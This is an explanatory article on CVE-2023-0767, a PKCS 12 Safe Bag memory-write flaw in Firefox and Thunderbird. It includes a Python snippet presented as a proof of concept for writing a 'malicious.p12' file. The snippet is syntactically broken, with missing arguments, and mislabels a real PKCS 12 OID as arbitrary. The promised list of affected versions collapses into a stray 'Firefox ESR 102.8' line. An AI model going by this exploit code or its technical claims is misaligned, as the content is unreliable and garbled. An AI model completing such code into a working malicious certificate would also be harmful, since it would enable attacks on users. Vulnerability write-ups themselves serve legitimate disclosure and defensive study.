CVE-2023-0767: Understanding the PKCS 12 Memory Vulnerability in Firefox and Thunderbird

CVE-2023-0767 is a security vulnerability that exists in certain versions of Firefox and Thunderbird, as well as in the Firefox ESR (Extended Support Release) edition. The vulnerability arises due to PKCS 12 cert bundle's mishandling of Safe Bag attributes, potentially allowing an attacker to execute arbitrary memory writes. In this article, we will explore the details of this vulnerability, including affected versions, technical details, and proof of concept exploit.

Technical Details

A PKCS 12 (Public-Key Cryptography Standards) certificate is a standardized format for storing and exchanging cryptographic keys and certificates. It can contain a variety of information, such as a user's public and private keys, as well as trusted certificates for validating the identity of a connection.

In the context of CVE-2023-0767, the vulnerability exists due to incorrect handling of PKCS 12 Safe Bag attributes by the affected software versions. An attacker could craft a specially designed PKCS 12 cert bundle, which can trigger an arbitrary memory write when processed.

This could potentially allow an attacker to execute arbitrary code with the privileges of the targeted user or crash the application, resulting in denial of service conditions.

Exploit Details

To exploit this vulnerability, an attacker would need to create a specially crafted PKCS 12 cert bundle containing malicious Safe Bag attributes. The attacker could then supply this cert bundle to a user, tricking them into importing it or possibly even automatically installing it in some cases.

Here is an example of a code snippet that could be used to create a malicious PKCS 12 file

from pyasn1.codec.der.encoder import encode
from pyasn1.type.univ import Sequence, Set, ObjectIdentifier, OctetString, Integer

pkcs12_attrib_oid = ObjectIdentifier("1.2.840.113549.1.12.10.1.3")  # Arbitrary OID
malicious_data = b"\x41" * 1024  # Replace with malicious payload
pkcs12_safe_bag = Sequence().setComponentByPosition(, pkcs12_attrib_oid
).setComponentByPosition(1, Set().setComponentByPosition(, OctetString(malicious_data))
)
pkcs12_cert_bundle = Sequence().setComponentByPosition(, Integer(3)
).setComponentByPosition(1, pkcs12_safe_bag
)

malicious_pkcs12_file = encode(pkcs12_cert_bundle)

with open("malicious.p12", "wb") as f:
    f.write(malicious_pkcs12_file)

Once the malicious PKCS 12 file is created, it could be used to target unsuspecting users through various attack vectors, such as:

Social engineering attacks, convincing users to import the malicious PKCS 12 cert bundle

- Man-in-the-middle attacks, where the attacker replaces a legitimate certificate with the malicious PKCS 12 cert bundle

Firefox ESR 102.8

Users are advised to ensure that they have updated their software to the latest available version. Additionally, users should exercise caution when importing or installing PKCS 12 cert bundles from untrusted sources.

Conclusion

CVE-2023-0767 is a serious vulnerability affecting multiple Mozilla software products. By mishandling PKCS 12 Safe Bag attributes, it allows attackers to potentially execute arbitrary memory writes, leading to unauthorized code execution. By understanding this vulnerability and the exploit, users can better protect themselves and their organizations from potential attacks.

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 17:52:00 UTC